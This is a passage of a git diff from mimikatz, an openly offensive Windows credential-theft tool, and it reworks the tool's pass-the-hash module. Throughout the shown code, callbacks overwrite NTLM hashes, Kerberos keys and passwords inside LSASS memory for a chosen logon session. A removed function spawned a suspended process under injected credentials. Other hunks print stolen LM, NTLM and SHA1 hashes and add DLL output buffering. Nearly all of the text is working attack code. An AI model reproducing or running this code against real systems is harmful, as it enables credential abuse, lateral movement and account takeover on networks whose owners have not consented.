 NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]);
 
diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c
index 54e2a15..747a208 100644
--- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c
+++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c
@@ -219,13 +219,14 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_keys(IN PKIWI_BASIC_SECURIT
 
 void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN KULL_M_MEMORY_ADDRESS Localkerbsession, IN KULL_M_MEMORY_ADDRESS RemoteLocalKerbSession, IN OPTIONAL LPVOID pOptionalData)
 {
-	PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData;
+	PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
 	DWORD i, nbHash;
 	BYTE ntlmHash[LM_NTLM_HASH_LENGTH];
 	UNICODE_STRING nullPasswd = {0, 0, NULL};
 	KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory};
 	PKERB_HASHPASSWORD_GENERIC pHash;
 	PBYTE baseCheck;
+	PCWCHAR resultok;
 	SIZE_T offset;
 
 	if(RemoteLocalKerbSession.address =  *(PVOID *) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetKeyList))
@@ -236,47 +237,52 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
 			{
 				if(nbHash = ((DWORD *)(aLocalKeyMemory.address))[1])
 				{
+					RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
+					if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
+						(*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH);
+
 					RemoteLocalKerbSession.address = baseCheck = (PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].structKeyListSize;
 					i = nbHash * (DWORD) kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize;
 					if(aLocalHashMemory.address = LocalAlloc(LPTR, i))
 					{
 						if(kull_m_memory_copy(&aLocalHashMemory, &RemoteLocalKerbSession, i))
 						{
-							kprintf(L"Data copy Kerberos @ %p (%u hash) :", RemoteLocalKerbSession.address, nbHash);
+							kprintf(L"data copy @ %p", RemoteLocalKerbSession.address, nbHash);
 							for(i = 0, pthData->isReplaceOk = TRUE; (i < nbHash) && pthData->isReplaceOk; i++)
 							{
-								kprintf(L" ");
 								offset = i * kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize + kerbHelper[KerbOffsetIndex].offsetHashGeneric;
 								pHash = (PKERB_HASHPASSWORD_GENERIC) ((PBYTE) aLocalHashMemory.address + offset);
+								kprintf(L"\n   \\_ %s ", kuhl_m_kerberos_ticket_etype(pHash->Type));
 								
-								if((pHash->Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) || (pHash->Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96))
+								if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96))
+								{
+									aLocalNTLMMemory.address = ntlmHash;
+									RemoteLocalKerbSession.address = pHash->Checksump;
+									offset = LM_NTLM_HASH_LENGTH;
+									resultok = L"OK";
+								}
+								else
 								{
-									kprintf(L"-");
-									pHash->Type = KERB_ETYPE_RC4_HMAC_NT;
-									pHash->Size = LM_NTLM_HASH_LENGTH;
-									
 									aLocalNTLMMemory.address = pHash;
 									RemoteLocalKerbSession.address = baseCheck + offset;
-									if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, FIELD_OFFSET(KERB_HASHPASSWORD_GENERIC, Checksump)))
-										kprintf(L">");
-									else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
+									offset = FIELD_OFFSET(KERB_HASHPASSWORD_GENERIC, Checksump);
+									resultok = kuhl_m_kerberos_ticket_etype(KERB_ETYPE_NULL);
+									
+									pHash->Type = KERB_ETYPE_NULL;
+									pHash->Size = 0;
+									kprintf(L"-> ");
 								}
-								
-								aLocalNTLMMemory.address = ntlmHash;
-								RemoteLocalKerbSession.address = pHash->Checksump;
-								RtlCopyMemory(aLocalNTLMMemory.address, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
-								if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
-									(*pData->lsassLocalHelper->pLsaProtectMemory)(aLocalNTLMMemory.address, LM_NTLM_HASH_LENGTH);
-								if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, min(pHash->Size, LM_NTLM_HASH_LENGTH))) // ok not fair-play with AES-* and old CRC =)
-									kprintf(L"%u", i+1);
+
+								if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, offset))
+									kprintf(L"%s", resultok);
 								else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
 							}
 
 							if(pthData->isReplaceOk && ((PKIWI_GENERIC_PRIMARY_CREDENTIAL) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetCreds))->Password.Buffer)
 							{
-								kprintf(L" ");
+								kprintf(L"\n   \\_ *Password replace -> ");
 								if(pthData->isReplaceOk = kull_m_memory_copy(&aRemotePasswdMemory, &aLocalPasswdMemory, sizeof(UNICODE_STRING)))
-									kprintf(L"OK!", aRemotePasswdMemory.address);
+									kprintf(L"null", aRemotePasswdMemory.address);
 								else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
 							}
 						}
@@ -291,7 +297,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
 
 BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_kerberos_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
 {
-	PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData;
+	PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
 	KIWI_KERBEROS_ENUM_DATA data = {kuhl_m_sekurlsa_enum_kerberos_callback_pth, pthData};
 	if(RtlEqualLuid(pData->LogonId, pthData->LogonId))
 	{
diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c
index dfe6aa7..f08e227 100644
--- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c
+++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c
@@ -46,12 +46,16 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY
 	{
 		(*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length);
 		RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH);
+		pPrimaryCreds->isLmOwfPassword = FALSE;
 		RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
+		pPrimaryCreds->isNtOwfPassword = TRUE;
+		RtlZeroMemory(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH);
+		pPrimaryCreds->isShaOwPassword = FALSE;
 		RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->UserName.Buffer, pthDataCred->pthData->UserName, pPrimaryCreds->UserName.Length);
 		RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->LogonDomainName.Buffer, pthDataCred->pthData->LogonDomain, pPrimaryCreds->LogonDomainName.Length);
 		(*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length);
 
-		kprintf(L"Data copy MSV1_0   @ %p : ", origBufferAddress->address);
+		kprintf(L"data copy @ %p : ", origBufferAddress->address);
 		if(pthDataCred->pthData->isReplaceOk = kull_m_memory_copy(origBufferAddress, &aLocalMemory, pCredentials->Credentials.Length))
 			kprintf(L"OK !");
 		else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
@@ -63,7 +67,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY
 
 BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
 {
-	PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData;
+	PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
 	MSV1_0_PTH_DATA_CRED credData = {pData, pthData};
 	
 	if(RtlEqualLuid(pData->LogonId, pthData->LogonId))
@@ -74,71 +78,6 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGO
 	else return TRUE;
 }
 
-NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[])
-{
-	BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
-	TOKEN_STATISTICS tokenStats;
-	MSV1_0_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE};
-	PCWCHAR szRun, szNTLM;
-	DWORD i, j, dwNeededSize;
-	HANDLE hToken;
-	PROCESS_INFORMATION processInfos;
-
-	if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL))
-	{
-		if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL))
-		{
-			if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
-			{
-				kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
-				if(wcslen(szNTLM) == (LM_NTLM_HASH_LENGTH * 2))
-				{
-					for(i = 0; i < LM_NTLM_HASH_LENGTH; i++)
-					{
-						swscanf_s(&szNTLM[i*2], L"%02x", &j);
-						ntlm[i] = (BYTE) j;
-					}
-					kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
-					kprintf(L"Program\t: %s\n", szRun);
-					if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE))
-					{
-						kprintf(
-							L"  |  PID  %u\n"
-							L"  |  TID  %u\n",
-							processInfos.dwProcessId, processInfos.dwThreadId);
-						if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
-						{
-							if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
-							{
-								kprintf(L"  |  LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
-								kprintf(L"  \\_ ");
-								kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
-								kprintf(L"\n");
-								if(data.isReplaceOk)
-								{
-									kprintf(L"  \\_ ");
-									kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data);
-									kprintf(L"\n");
-								}
-							} else PRINT_ERROR_AUTO(L"GetTokenInformation");
-							CloseHandle(hToken);
-						} else PRINT_ERROR_AUTO(L"OpenProcessToken");
-						
-						if(data.isReplaceOk)
-							NtResumeProcess(processInfos.hProcess);
-						else
-							NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT);
-						
-						CloseHandle(processInfos.hThread);
-						CloseHandle(processInfos.hProcess);
-					} else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
-				} else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n");
-			} else PRINT_ERROR(L"Missing argument : ntlm\n");
-		}
-	}
-	return STATUS_SUCCESS;
-}
-
 VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID pCredentials, IN PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK credCallback, IN PVOID optionalData)
 {
 	KIWI_MSV1_0_CREDENTIALS credentials;
diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h
index b348cc8..4c89548 100644
--- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h
+++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.h
@@ -10,11 +10,13 @@
 
 typedef struct _MSV1_0_PRIMARY_CREDENTIAL { 
 	LSA_UNICODE_STRING LogonDomainName; 
-	LSA_UNICODE_STRING UserName; 
+	LSA_UNICODE_STRING UserName;
 	BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
 	BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
 	BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
-	DWORD unknow_01000100;
+	BOOLEAN isNtOwfPassword;
+	BOOLEAN isLmOwfPassword;
+	BOOLEAN isShaOwPassword;
 	/* buffer */
 } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; 
 
@@ -34,17 +36,9 @@ typedef struct _RPCE_CREDENTIAL_KEYCREDENTIAL {
 	MARSHALL_KEY key[ANYSIZE_ARRAY];
 } RPCE_CREDENTIAL_KEYCREDENTIAL, *PRPCE_CREDENTIAL_KEYCREDENTIAL;
 
-typedef struct _MSV1_0_PTH_DATA { 
-	PLUID		LogonId;
-	PCWCHAR		UserName;
-	PCWCHAR		LogonDomain;
-	LPBYTE		NtlmHash;
-	BOOL		isReplaceOk;
-} MSV1_0_PTH_DATA, *PMSV1_0_PTH_DATA;
-
 typedef struct _MSV1_0_PTH_DATA_CRED { 
 	PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pSecData;
-	PMSV1_0_PTH_DATA pthData;
+	PSEKURLSA_PTH_DATA pthData;
 } MSV1_0_PTH_DATA_CRED, *PMSV1_0_PTH_DATA_CRED;
 
 typedef struct _MSV1_0_STD_DATA {
@@ -55,7 +49,6 @@ typedef BOOL (CALLBACK * PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK) (IN struct _KIWI_MS
 
 KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package;
 NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[]);
-NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[]);
 
 void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData);
 BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData);
diff --git a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h
index f67fad4..239b6ab 100644
--- a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h
+++ b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.h
@@ -21,7 +21,9 @@ typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
 	BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
 	BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
 	BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
-	DWORD unknow_01000100;
+	BOOLEAN isNtOwfPassword;
+	BOOLEAN isLmOwfPassword;
+	BOOLEAN isShaOwPassword;
 	/* buffer */
 } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; 
 
diff --git a/mimilib/sekurlsadbg/kwindbg.c b/mimilib/sekurlsadbg/kwindbg.c
index b7db7eb..01073e2 100644
--- a/mimilib/sekurlsadbg/kwindbg.c
+++ b/mimilib/sekurlsadbg/kwindbg.c
@@ -213,13 +213,23 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
 					pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer;
 					kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE);
 					kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE);
-					dprintf("\n\t * Username : %wZ"
-							"\n\t * Domain   : %wZ"
-							, &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
 
-					dprintf("\n\t * LM       : "); kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
-					dprintf("\n\t * NTLM     : "); kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
-					dprintf("\n\t * SHA1     : "); kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0);
+					dprintf("\n\t * Username : %wZ\n\t * Domain   : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
+					if(pPrimaryCreds->isLmOwfPassword)
+					{
+						dprintf("\n\t * LM       : ");
+						kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
+					}
+					if(pPrimaryCreds->isNtOwfPassword)
+					{
+						dprintf("\n\t * NTLM     : ");
+						kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
+					}
+					if(pPrimaryCreds->isShaOwPassword)
+					{
+						dprintf("\n\t * SHA1     : ");
+						kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0);
+					}
 					break;
 				case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
 					pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer;
diff --git a/modules/kull_m_output.c b/modules/kull_m_output.c
index a5dad17..eea038b 100644
--- a/modules/kull_m_output.c
+++ b/modules/kull_m_output.c
@@ -1,13 +1,40 @@
 #include "kull_m_output.h"
 
 FILE * logfile = NULL;
+#ifdef _WINDLL
+wchar_t * outputBuffer = NULL;
+size_t outputBufferElements = 0, outputBufferElementsPosition = 0;
+#endif
 
 void kprintf(PCWCHAR format, ...)
 {
+#ifdef _WINDLL
+	int varBuf;
+	size_t tempSize;
+#endif
 	va_list args;
 	va_start(args, format);
-	vfwprintf(stdout, format, args);
+#ifndef _WINDLL
+	vwprintf(format, args);
 	fflush(stdout);
+#else
+	if(outputBuffer)
+	{
+		varBuf = _vscwprintf(format, args);
+		if(varBuf > 0)
+		{
+			if((size_t) varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character
+			{
+				tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool
+				if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LMEM_MOVEABLE))
+					outputBufferElements = tempSize;
+			}
+			varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args);
+			if(varBuf > 0)
+				outputBufferElementsPosition += varBuf;
+		}
+	}
+#endif
 	if(logfile)
 		vfwprintf(logfile, format, args);
 	va_end(args);
@@ -32,7 +59,7 @@ BOOL kull_m_output_file(PCWCHAR file)
 	if(file)
 #pragma warning(push)
 #pragma warning(disable:4996)
-		newlog = _wfopen(file, L"a");
+		newlog = _wfopen(file, L"a"); // XP does not like _wfopen_s
 #pragma warning(pop)
 	if(newlog || !file)
 	{
diff --git a/modules/kull_m_output.h b/modules/kull_m_output.h
index c864782..e8013c3 100644
--- a/modules/kull_m_output.h
+++ b/modules/kull_m_output.h
@@ -9,6 +9,10 @@
 #include <fcntl.h>
 
 FILE * logfile;
+#ifdef _WINDLL
+wchar_t * outputBuffer;
+size_t outputBufferElements, outputBufferElementsPosition;
+#endif
 
 void kprintf(PCWCHAR format, ...);
 void kprintf_inputline(PCWCHAR format, ...);
diff --git a/modules/kull_m_string.c b/modules/kull_m_string.c
index 845c041..db6f892 100644
--- a/modules/kull_m_string.c
+++ b/modules/kull_m_string.c
@@ -68,6 +68,21 @@ wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr)
 	return buffer;
 }
 
+BOOL kull_m_string_stringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size)
+{
+	DWORD i, j;
+	BOOL result = (wcslen(string) == (size * 2));
+	if(result)
+	{
+		for(i = 0; i < size; i++)
+		{
+			swscanf_s(&string[i*2], L"%02x", &j);
+			hex[i] = (BYTE) j;
+		}
+	}
+	return result;
+}
+
 PCWCHAR WPRINTF_TYPES[] =
 {
 	L"%02x",		// WPRINTF_HEX_SHORT
diff --git a/modules/kull_m_string.h b/modules/kull_m_string.h
index 9a4dfa0..b2957d5 100644
--- a/modules/kull_m_string.h
+++ b/modules/kull_m_string.h
@@ -45,6 +45,7 @@ BOOL kull_m_string_suspectUnicodeString(IN PUNICODE_STRING pUnicodeString);
 
 wchar_t * kull_m_string_qad_ansi_to_unicode(const char * ansi);
 wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr);
+BOOL kull_m_string_stringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size);
 
 void kull_m_string_wprintf_hex(LPCVOID lpData, DWORD cbData, DWORD flags);
 void kull_m_string_displayFileTime(IN PFILETIME pFileTime);